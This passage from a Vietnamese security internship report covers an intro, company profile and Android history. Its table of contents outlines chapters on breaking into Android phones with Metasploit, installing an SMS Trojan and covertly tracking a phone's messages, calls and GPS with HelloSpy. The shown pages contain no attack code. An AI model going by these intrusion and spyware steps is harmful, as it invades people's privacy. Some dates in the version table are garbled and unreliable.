  • 7. Báo cáo thực tập GVHD: Võ Đỗ Thắng LỜI GIỚI THIỆU Số lượng các báo cáo về nguy cơ an ninh trên các thiết bị di động Android từ các công ty nghiên cứu bảo mật gia tăng cho thấy hệ điều hành này đang là đích nhắm cho tin tặc cùng các phần mềm độc hại. Không quá khó khăn và cũng không cần thiết phải có những nghiên cứu chi tiết để nhận ra rằng hệ điều hành Android đang bị tấn công nhiều hơn. Chỉ cần nhìn vào trường hợp facebook, khi mạng xã hội này trở nên nổi tiếng và có số lượng người dùng đông đảo, lập tức nó trở thành đích ngắm của các tin tặc. Giới tội phạm mạng luôn tìm mọi cách để lợi dụng các lỗ hổng bảo mật của những hệ điều hành được cài đặt trên số đông thiết bị. Và điểm yếu cố hữu trong an ninh bảo mật vẫn nằm ở người dùng rồi mới đến thiết bị. Các nhà nghiên cứu bảo mật cho biết hiện có quá nhiều người dùng Android bất cẩn luôn tải về ứng dụng mà không thèm kiểm tra tìm hiểu trước xem chúng có an toàn hay không. Vậy để biết thêm phần nào về cách thức mà các tin tặc tấn công các thiết bị Android đồng thời để hạn chế được điều này, em xin mời thầy và các bạn cùng đi đến bài báo cáo của em. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 7
  • 8. Báo cáo thực tập GVHD: Võ Đỗ Thắng Mục lục PHẦN 1: GIỚI THIỆU VỀ NƠI THỰC TẬP................................................................................ 11 1. Giới thiệu về Trung tâm Athena ............................................................................................. 11 2. Trụ sở và các chi nhánh........................................................................................................... 11 3. Quá trình hình thành và phát triển........................................................................................... 12 3.1. Quá trình hình thành ........................................................................................................ 12 3.2. Quá trình phát triển .......................................................................................................... 13 3.3. Cơ cấu tổ chức ................................................................................................................. 14 4. Tình hình hoạt động trong năm 2011 ...................................................................................... 15 4.1. Cơ cấu sản phẩm .............................................................................................................. 15 4.1.1. Các khóa học dài hạn................................................................................................ 15 4.1.2. Các khóa học ngắn hạn ............................................................................................. 15 4.1.2.1. Khóa Quản trị mạng.............................................................................................. 15 4.1.2.2. Khóa thiết kế web và bảo mật mạng..................................................................... 15 4.1.2.3. Các sản phẩm khác. ................................................................................................ 15 5. Chiến lư ợc Marketing của Trung tâm Athena......................................................................... 16 5.1. Chiến lư ợc sản phẩm ....................................................................................................... 16 5.2. Chiến lư ợc tập hợp sản phẩm: ......................................................................................... 16 5.3. Chiến lư ợc dòng sản phẩm: ............................................................................................. 17 PHẦN 2: BÁO CÁO ĐỀ TÀI ........................................................................................................ 18 1. Giới thiệu về Android.............................................................................................................. 18 1.1. Android là gì? .................................................................................................................. 18 1.2. Lịch sử phát triển Anroid ................................................................................................. 18 1.3. Đặt điểm của Android...................................................................................................... 19 1.3.1. Tính mở .................................................................................................................... 19 1.3.2. Tính ngang bằng của các ứng dụng. ......................................................................... 19 1.3.3. Phá vỡ rào cản phát triển ứng dụng. ......................................................................... 19 1.3.4. Xây dựng ứng dụng dễ dàng và nhanh chóng .......................................................... 19 1.4. Các phiên bản của android............................................................................................... 20 1.5. Tỷ lệ sử dụng các phiên bản android ............................................................................... 22 1.6. So sánh android 2.3 (Gingerbread) và android 4.x (4.0 – Ice Cream Sandwich): ........... 22 1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt ............................................. 23 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 8
  • 9. Báo cáo thực tập GVHD: Võ Đỗ Thắng 1.6.2. Sự khác nhau về giao diện ......................................................................................... 23 1.6.3. Sự khác nhau về tính năng ......................................................................................... 25 1.6.4. Sự khác nhau về giao thức mạng ................................................................................ 25 2. Nghiên cứu về mã độc trong mỗi trường android ................................................................... 26 2.1. Malware là gì? ................................................................................................................. 26 2.2. Phân loại .......................................................................................................................... 27 2.3. Cơ chế hoạt động của Malware ....................................................................................... 27 2.4. Mục đích của Malware DroidDream ............................................................................... 28 2.5. Dấu hiệu bị nhiễm các phần mềm độc hại ....................................................................... 28 3. Xâm nhập android qua mạng local.......................................................................................... 29 3.1. Giới thiệu về Kali Linux .................................................................................................. 29 3.1.1. Kali phát triển trên nền tảng hệ điều hành Debian ................................................... 29 3.1.2. Hỗ trợ mạng không dây tốt hơn................................................................................ 29 3.1.3. Khả năng tùy biến cao .............................................................................................. 29 3.1.4. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai...................................... 30 3.2. Cài đặt Kali Linux ........................................................................................................ 30 3.3. Metasploit framework trong Kali linux ........................................................................... 40 3.3.1. Giới thiệu .................................................................................................................. 40 3.3.2. Sử dụng metasploit framework ................................................................................ 40 3.4. Tấn công android dùng Metasploit Framework trong Kali Linux................................... 42 4. Thực hiện xâm nhập android thông qua mạng Internet .......................................................... 49 4.1. Giới thiệu về VPS ............................................................................................................ 49 4.1.1. VPS là gì? ................................................................................................................. 49 4.1.2. Đặc điểm về thông số VPS ....................................................................................... 50 4.1.3. Giá trị khi sử dụng VPS............................................................................................ 50 4.2. Cài đặt metasploit ............................................................................................................ 51 4.3. Xâm nhập vào thiết bị android......................................................................................... 57 5. Cài đặt SMS Trojan dùng iCalender ....................................................................................... 67 5.1. Cài đặt máy ảo android AVD Manager .............................................................................. 67 5.1.1. Cài đặt JDK: ............................................................................................................. 67 5.1.2. Cài đặt android SDK ................................................................................................ 68 5.1.3. Cài đặt máy ảo android................................................................................................. 69 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 9
  • 10. Báo cáo thực tập GVHD: Võ Đỗ Thắng 5.2. Cài SMS Trojan vào máy android ảo ................................................................................. 71 5.2.1. Các công cụ cần thiết ................................................................................................. 71 5.2.2. Các bước thực hiện ................................................................................................... 72 6. Tìm hiểu về HelloSpy để theo dõi thiết bị android ................................................................. 79 6.1. HelloSpy là gì? ................................................................................................................ 79 6.2. Tính năng của HelloSpy .................................................................................................. 79 6.2.1. Truy cập từ xa:.......................................................................................................... 79 6.2.2. Theo dõi các tin nhắn WhatsApp (không có rễ):...................................................... 79 6.2.3. Theo dõi lịch sử Internet:.......................................................................................... 79 6.2.4. Spy cuộc gọi ghi âm: ................................................................................................ 79 6.2.5. Theo dõi tất cả bắt hình ảnh: .................................................................................... 79 6.2.6. Kiểm soát các ứng dụng và chương trình: ................................................................ 79 6.2.7. Theo dõi tin nhắn SMS:............................................................................................ 80 6.2.8. Theo dõi Viber, facebook và yahoo thông điệp: ...................................................... 80 6.2.9. GPS Tracking: .......................................................................................................... 80 6.2.10. Lịch sử màn hình cuộc gọi: ...................................................................................... 80 6.3. Cài đặt HelloSpy .............................................................................................................. 80 7. Tổng kết................................................................................................................................... 85 8. Kinh nghiệm đạt được sau đợt thực tập .................................................................................. 86 9. Các link báo báo ...................................................................................................................... 87 10. Các link tham khảo .................................................................................................................. 88 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 10
  • 11. Báo cáo thực tập GVHD: Võ Đỗ Thắng PHẦN 1: GIỚI THIỆU VỀ NƠI THỰC TẬP 1. Giới thiệu về Trung tâm Athena Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING NETWORK SECURITY COMPANY LIMITED ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau: - Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh vực mạng máy tính, internet, bảo mật và thương mại điện tử…. - Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất kinh doanh. - Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu cầu. - Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng. - Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự cố máy tính. 2. Trụ sở và các chi nhánh - Trụ sở chính: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. 92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam. Website: www.athena.com.vn SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 11
  • 12. Báo cáo thực tập GVHD: Võ Đỗ Thắng Điện thoại: ( 84-8 ) 3824 4041 Hotline: 0943 23 00 99 - Cơ sở 2_Tại TP Hồ Chí Minh: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam. Website: www.Athena.Edu.Vn Điện thoại: ( 84-8 ) 2210 3801 Hotline: 0943 20 00 88 - Chi nhánh Nha Trang + Điện thoại : 08. 3824 4041 - Fax: 08. 39 111 692 + Website: www.athena.edu.vn + Email : training@athenavn.com 3. Quá trình hình thành và phát triển 3.1.Quá trình hình thành Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội. Các thành viên sáng lập trung tâm gồm: Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 12
  • 13. Báo cáo thực tập GVHD: Võ Đỗ Thắng Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công ty FPT. Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ thông tin của Ngân hàng. Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh mạng Athena. Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam. 3.2.Quá trình phát triển Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng. Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của trung tâm. Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 13
  • 14. Báo cáo thực tập GVHD: Võ Đỗ Thắng đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đã giúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng. Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà. 3.3.Cơ cấu tổ chức Sơ đồ tổ chức công ty SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 14
  • 15. Báo cáo thực tập GVHD: Võ Đỗ Thắng 4. Tình hình hoạt động trong năm 2011 4.1.Cơ cấu sản phẩm 4.1.1. Các khóa học dài hạn - Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network security specialist. - Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician. - Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator. 4.1.2. Các khóa học ngắn hạn 4.1.2.1.Khóa Quản trị mạng - Quản trị mạng Microsoft căn bản ACBN - Phần cứng máy tính, laptop, server - Quản trị hệ thống mạng Microsoft MCSA Security. - Quản trị mạng Microsoft nâng cao MCSE - Quản trị window Vista - Quản trị hệ thống Window Server 2003:2008 - Lớp Master Exchange Mail Server - Quản trị mạng quốc tế Cissco CCNA - Quản trị hệ thống mạng Linux 1 và Linux 2. 4.1.2.2.Khóa thiết kế web và bảo mật mạng - Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart - Lập trình web với Php và MySQL - Bảo mật mạng quốc tế ACNS - Hacker mũ trắng - Athena Mastering Firewall Security - Bảo mật website. 4.1.2.3. Các sản phẩm khác. - Chuyên đề thực hành sao lưu và phục hồi dữ liệu SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 15
  • 16. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Chuyên đề thực hành bảo mật mạng Wi_Fi - Chuyên đề Ghost qua mạng - Chuyên đề xây dựng và quản trị diễn đàn - Chuyên đề bảo mật dữ liệu phòng chống nội gián - Chuyên đề quản lý tài sản công nghệ thông tin - Chuyên đề kỹ năng thương mại điện tử. 5. Chiến lược Marketing của Trung tâm Athena 5.1. Chiến lược sản phẩm Chiến lược sản phẩm là sự cố kết gắn bó của sự lựa chọn và của những biện pháp phải sử dụng để xác định một tập hợp sản phẩm bao gồm các dòng sản phẩm và các món hàng sao cho phù hợp nhất với thị trường mục tiêu và từng giai đoạn khác nhau trong chu kì sản phẩm. Chiến lược sản phẩm đóng vai trò cực kì quan trọng trong hoạt động Marketing, nó là công cụ cạnh tranh bền vững của doanh nghiệp. Thực hiện tốt chiến lược về sản phẩm thì các chiến lược giá, phân phối, xúc tiến mới được triển khai và phối hợp một cách hiệu quả nhất. Không chỉ thế, chiến lược sản phẩm còn là một trong những yếu tố giúp doanh nghiệp thực hiện tốt mục tiêu marketing trong từng thời kì. Với phương châm “ Uy tín, chất lượng đào tạo và sự hài lòng của khách hàng” lên hàng đầu. Trung tâm Đào tạo Quản trị và An ninh mạng Athena luôn nổ lực tập trung vào nâng cao chất lượng giáo dục, tuyển dụng đội ngũ giảng viên có trình độ chuyên môn và kinh nghiệm cao, đội ngũ tư vấn viên giúp học viên có thể lựa chọn những chương trình phù hợp và Bộ phận chuyên trách về cập nhật thông tin cũng như làm mới giáo án nhằm đảm bảo chất lượng đào tạo tốt nhất cho từng học viên khi đến với trung tâm. Chính vì xác định được tầm quan trọng của chiến lược sản phẩm, Trung tâm Đào tạo Quản trị và An ninh mạng Athena đã đưa ra các chiến lược sản phẩm như sau: 5.2. Chiến lược tập hợp sản phẩm: Athena tập trung vào chiến lược mở rộng tập hợp sản phẩm. Có nghĩa là Athena tăng thêm các dòng sản phẩm mới thích hợp với từng thời kì cụ thể theo yêu cầu của khách hàng, cụ thể theo từng SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 16
  • 17. Báo cáo thực tập GVHD: Võ Đỗ Thắng giai đoạn phát triển của doanh nghiệp cũng như yêu cầu của xã hội về lĩnh vực công nghệ thông tin. Vào những ngày đầu thành lập với tư cách là một nhóm nhỏ bao gồm các thành viên yêu thích lĩnh vực công nghệ thông tin và hổ trợ các doanh nghiệp với chương trình “ ứng cứu máy tinh”. Athena tập trung vào lĩnh vực đào tạo chuyên gia an ninh mạng AN2S và chương trình cảnh sát máy tính nhằm giúp các doanh nghiệp xử lý các vấn đề về máy tính và mạng máy tính. Đào tạo và cung cấp cho xã hội lực lượng nguồn lao động trong lĩnh vực bảo vệ máy tính và mạng máy tính. Trong quá trình phát triển, internet trở thành một công cụ hữu hiệu và là phương tiện kinh doanh của hầu hết các tổ chức, doanh nghiệp, cá nhân. Để đáp ứng được nhu cầu ngày càng tăng cao về nguồn nhân lực trong lĩnh vực mạng internet, Athena tăng thêm các khóa học về mạng máy tính, chuyên gia online marketing hay các khóa học về E_marketing. Ngày nay, với sự phát triển mạnh mẽ của ngành công nghệ thông tin, ngày càng nhiều doanh nghiệp đòi hỏi các chứng chỉ quốc tế trong lĩnh vực này. Nắm bắt được xu thế mới của thời đại, Trung tâm Đào tạo Quản trị và An ninh mạng Athena đã mở rộng chương trình đào tạo, tổ chức thêm các khóa học đạt chứng chỉ quốc tế như MCSA, Quản trị mạng Cissco…. 5.3. Chiến lược dòng sản phẩm: Để có thể phân bổ rủi ro cũng như nâng cao được mức lợi nhuận cho doanh nghiệp. Trung tâm Đào tạo Quản trị và An ninh mạng Athena tập trung vào chiến lược phát triển dòng sản phẩm bằng cách tập trung đầu tư vào những dòng sản phẩm chủ lực của doanh nghiệp để tối đa hóa lợi nhuận, đồng thời phát triển thêm các dòng sản phẩm mới như các khóa chuyên đề nhằm hổ trợ tạo sự đa dạng của các dòng sản phẩm, đáp ứng được nhu cầu của xã hội, cố gắng dẫn đầu thị trường và lắp kín các lỗ hổng để ngăn ngừa đối thủ cạnh tranh. Trong đó khóa học chủ lực của doanh nghiệp là các khóa học lấy các chứng chỉ quốc tế như: MCSE, Quản trị mạng Cissco, Bảo mật web Security+… SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 17
  • 18. Báo cáo thực tập GVHD: Võ Đỗ Thắng PHẦN 2: BÁO CÁO ĐỀ TÀI 1. Giới thiệu về Android 1.1.Android là gì? Android là một hệ điều hành dựa trên nền tảng Linux được thiết kế dành cho các thiết bị di động có màn hình cảm ứng như điện thoại thông minh và máy tính bảng. Android ra mắt vào năm 2007 cùng với tuyên bố thành lập Liên minh thiết bị cầm tay mở: một hiệp hội gồm các công ty phần cứng, phần mềm, và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Chiếc điện thoại đầu tiên chạy Android được bán vào tháng 10 năm 2008. Android có mã nguồn mở và Google phát hành mã nguồn theo Giấy phép Apache. Chính mã nguồn mở cùng với một giấy phép không có nhiều ràng buộc đã cho phép các nhà phát triển thiết bị, mạng di động và các lập trình viên nhiệt huyết được điều chỉnh và phân phối Android một cách tự do. Ngoài ra, Android còn có một cộng đồng lập trình viên đông đảo chuyên viết các ứng dụng để mở rộng chức năng của thiết bị, bằng một loại ngôn ngữ lập trình Java có sửa đổi. Vào tháng 10 năm 2012, có khoảng 700.000 ứng dụng trên Android, và số lượt tải ứng dụng từ Google Play, cửa hàng ứng dụng chính của Android, ước tính khoảng 25 tỷ lượt. Những yếu tố này đã giúp Android trở thành nền tảng điện thoại thông minh phổ biến nhất thế giới, vượt qua Symbian vào quý 4 năm 2010, và được các công ty công nghệ lựa chọn khi họ cần một hệ điều hành không nặng nề, có khả năng tinh chỉnh, và giá rẻ chạy trên các thiết bị công nghệ cao thay vì tạo dựng từ đầu. Kết quả là mặc dù được thiết kế để chạy trên điện thoại và máy tính bảng, Android đã xuất hiện trên TV, máy chơi game và các thiết bị điện tử khác. Bản chất mở của Android cũng khích lệ một đội ngũ đông đảo lập trình viên và những người đam mê sử dụng mã nguồn mở để tạo ra những dự án do cộng đồng quản lý. Những dự án này bổ sung các tính năng cao cấp cho những người dùng thích tìm tòi hoặc đưa Android vào các thiết bị ban đầu chạy hệ điều hành khác. Android chiếm 75% thị phần điện thoại thông minh trên toàn thế giới vào thời điểm quý 3 năm 2012, với tổng cộng 500 triệu thiết bị đã được kích hoạt và 1,3 triệu lượt kích hoạt mỗi ngày. Sự thành công của hệ điều hành cũng khiến nó trở thành mục tiêu trong các vụ kiện liên quan đến bằng phát minh, góp mặt trong cái gọi là "cuộc chiến điện thoại thông minh" giữa các công ty công nghệ. 1.2.Lịch sử phát triển Anroid Tháng 7 năm 2005, Google mua lại Android, Inc., một công ty nhỏ mới thành lập có trụ sở ở Palo Alto, California, Mỹ. Những nhà đồng sáng lập của Android chuyển sang làm việc tại Google gồm có Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập công ty Wildfire Communications), Nick Sears (từng là phó chủ tịch của T-Mobile), và Chris White (trưởng nhóm thiết kế và phát triển giao diện tại WebTV). Khi đó, có rất ít thông tin về các công việc của Android, ngoại trừ việc họ đang phát triển phần mềm cho điện thoại di động. Điều này tạo những tin đồn về việc Google có ý định bước vào thị trường điện thoại di động. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động dựa trên hạt nhân Linux, được họ tiếp thị đến các nhà sản xuất thiết bị cầm tay và các nhà mạng trên những tiền đề về việc cung cấp một hệ thống mềm dẻo, có khả năng nâng cấp mở rộng cao.[cần dẫn nguồn] Một số nguồn tin cho biết trước đó Google đã lên danh sách các thành phần phần cứng và các đối tác SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 18
  • 19. Báo cáo thực tập GVHD: Võ Đỗ Thắng phần mềm, đồng thời ra hiệu với các nhà mạng rằng họ sẵn sàng hợp tác ở nhiều cấp độ khác nhau. Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông in và online cũng sớm có bài viết về những tin đồn cho rằng Google đang phát triển một thiết bị cầm tay mang thương hiệu Google. Và lại càng có nhiều suy đoán sau bài viết về việc Google đang định nghĩa các đặc tả công nghệ và trình diễn các mẫu thử với các nhà sản xuất điện thoại di động và nhà mạng. 1.3.Đặt điểm của Android 1.3.1. Tính mở Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Android hoàn toàn mở, một ứng dụng có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng máy ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng cho người dùng. Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo. 1.3.2. Tính ngang bằng của các ứng dụng. Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích. 1.3.3. Phá vỡ rào cản phát triển ứng dụng. Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS. 1.3.4. Xây dựng ứng dụng dễ dàng và nhanh chóng Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 19
  • 20. Báo cáo thực tập GVHD: Võ Đỗ Thắng 1.4.Các phiên bản của android Lịch sử phiên bản của hệ điều hành di động Android bắt đầu với bản Android beta vào tháng 11 năm 2007. Phiên bản thương mại đầu tiên, Android 1.0, được phát hành vào tháng 9 năm 2008. Android đang được phát triển bởi Google và Open Handset Alliance (OHA), và đã có một số bản cập nhật cho hệ điều hành này kể từ khi ra mắt. Từ tháng 4 2009, phiên bản Android được phát triển dưới tên mã là chủ đề bánh kẹo và phát hành theo thứ tự bảng chữ cái: Cupcake (1.5), Donut (1.6), Eclair (2.0–2.1), Froyo (2.2–2.2.3), Gingerbread (2.3–2.3.7), Honeycomb (3.0–3.2.6), Ice Cream Sandwich (4.0–4.0.4), Jelly Bean (4.1–4.3), và KitKat (4.4). Vào 3 tháng 9 năm 2013, Google công bố rằng 1 tỉ thiết bị đã được kích hoạt hiện sử dụng Android OS trên toàn cầu. Bản cập nhật Android gần đây nhất là KitKat 4.4, nó được phát hành bản thương mại trên thiết bị 22 tháng 11 2013, thông qua cập nhật OTA. Phiên bản API Tên Ngày phát hành 1.0 Cấp 1 23/9/ 2008 1.1 Cấp 2 9/2/2009 1.5 Cấp 3 Cupcake 30/4/2009 1.6 Cấp 4 Donut 15/9/2009 2.0 Cấp 5 2.0.1 Cấp 6 Eclair 3/12/2009 26/10/2009 2.1 Cấp 7 12/1/2010 2.2 2.2.1 18/1/2011 Cấp 8 Froyo 20/5/2010 2.2.2 22/1/2011 2.2.3 21/11/2011 2.3 2.3.1 Cấp 9 Gingerbread 12/2010 6/12/2010 2.3.2 1/2011 2.3.3 2.3.4 28/4/2011 2.3.5 Cấp 10 Gingerbread 25/7/2011 9/2/2011 2.3.6 2/9/2011 2.3.7 21/9/2011 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 20
  • 21. Báo cáo thực tập GVHD: Võ Đỗ Thắng 3.0 Cấp 11 3.1 Cấp 12 10/5/2011 3.2.1 20/9/2011 3.2.2 Honeycomb 30/8/2011 22/2/2011 3.2 Cấp 13 15/7/2011 3.2.3 3.2.4 12/2011 3.2.5 1/2012 3.2.6 2/1012 4.0 4.0.1 Cấp 14 21/10/2011 Ice Cream Sandwich 19/10/2011 4.0.2 28/11/2011 4.0.3 Cấp 15 16/12/2011 4.0.4 29/3/2012 4.1 4.1.1 Cấp 16 Jelly Bean 23/7/2012 9/7/2012 4.1.2 9/10/2012 4.2 4.2.1 Cấp 17 27/11/2012 13/11/2012 4.2.2 11/2/2013 4.3 Cấp 18 24/7/1013 4.3.1 3/10/2013 4.4 4.4.1 5/12/2013 4.4.2 Cấp 19 KitKat 9/12/2013 31/10/2013 4.4.3 2/6/2014 4.4.4 19/6/2014 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 21
